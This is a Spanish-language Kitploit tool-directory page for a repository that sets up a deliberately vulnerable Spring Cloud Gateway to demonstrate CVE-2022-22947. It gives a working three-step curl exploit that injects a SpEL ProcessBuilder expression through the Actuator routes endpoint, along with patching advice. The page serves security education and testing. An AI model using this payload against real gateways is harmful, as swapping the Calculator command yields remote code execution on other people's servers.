Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22947-pb-ai — Una aplicación de verificación de vulnerabilidades generada por IA | Kitploit
Herramientas/GitHubGitHub/skysliently/cve-2022-22947-pb-ai
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsAprendizaje y Educación
GitHubskysliently/cve-2022-22947-pb-ai

CVE-2022-22947-pb-ai

Una aplicación de verificación de vulnerabilidades generada por IA

Ver Repositorio
5hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación de verificación de vulnerabilidad CVE-2022-22947 Spring Cloud Gateway

Esta es una aplicación Spring Cloud Gateway diseñada específicamente para demostrar y verificar la vulnerabilidad CVE-2022-22947. La aplicación utiliza una versión vulnerable de Spring Cloud Gateway y puede ejecutar código arbitrario a través del endpoint Actuator.

Resumen de la vulnerabilidad

CVE-2022-22947 es una vulnerabilidad de ejecución remota de código en Spring Cloud Gateway. Un atacante puede ejecutar código arbitrario agregando dinámicamente rutas que contengan expresiones SpEL maliciosas a través del endpoint Actuator.

Requisitos del entorno

  • Java 11+
  • Maven 3.6+
  • Sistema macOS (para la demostración de la calculadora)

Iniciar la aplicación

root@kitploit:~
mvn spring-boot:run

La aplicación se iniciará en http://localhost:8080.

Pasos para verificar la vulnerabilidad

Primer paso: Agregar una ruta maliciosa

Envíe una solicitud POST al endpoint /actuator/gateway/routes/test para agregar una ruta que contenga una expresión SpEL maliciosa:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
        }
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
        }
      }
    ]
  }'

Segundo paso: Refrescar las rutas

Envíe una solicitud POST al endpoint /actuator/gateway/refresh para refrescar las rutas:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/refresh

Tercer paso: Desencadenar el código malicioso

Acceda a la ruta maliciosa para desencadenar la ejecución del código:

root@kitploit:~
curl http://localhost:8080/test

Resultado esperado

Después de explotar exitosamente la vulnerabilidad, se iniciará la aplicación Calculadora de macOS.

Información clave de las solicitudes

1. Solicitud para agregar una ruta maliciosa

Endpoint: POST /actuator/gateway/routes/test

Encabezados de la solicitud:

root@kitploit:~
Content-Type: application/json

Cuerpo de la solicitud:

root@kitploit:~
{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
      }
    }
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    }
  ]
}

2. Solicitud para refrescar las rutas

Endpoint: POST /actuator/gateway/refresh

3. Solicitud para desencadenar la vulnerabilidad

Endpoint: GET /test

Análisis de la vulnerabilidad

Esta vulnerabilidad permite a un atacante agregar rutas dinámicamente a través del endpoint Actuator y ejecutar código arbitrario utilizando expresiones SpEL en los filtros de las rutas. El núcleo de la vulnerabilidad radica en que Spring Cloud Gateway no maneja adecuadamente las expresiones SpEL en la configuración de rutas.

Recomendaciones de corrección

  1. Actualizar a Spring Cloud Gateway 3.1.1+ o 3.0.7+
  2. Deshabilitar el endpoint Actuator o restringir el acceso
  3. Usar Spring Security para proteger el endpoint Actuator

Información de versiones

  • Spring Boot: 2.6.2
  • Spring Cloud: 2021.0.0
  • Spring Cloud Gateway: 3.1.0 (versión vulnerable)

Avisos

⚠️ Advertencia de seguridad: Esta aplicación es solo para fines educativos y de investigación en seguridad. No utilice ni implemente esta aplicación en un entorno de producción.

⚠️ Aviso legal: Al usar esta aplicación para pruebas de vulnerabilidades, asegúrese de tener la autorización adecuada. Las pruebas no autorizadas pueden violar leyes y regulaciones.

Descargar herramienta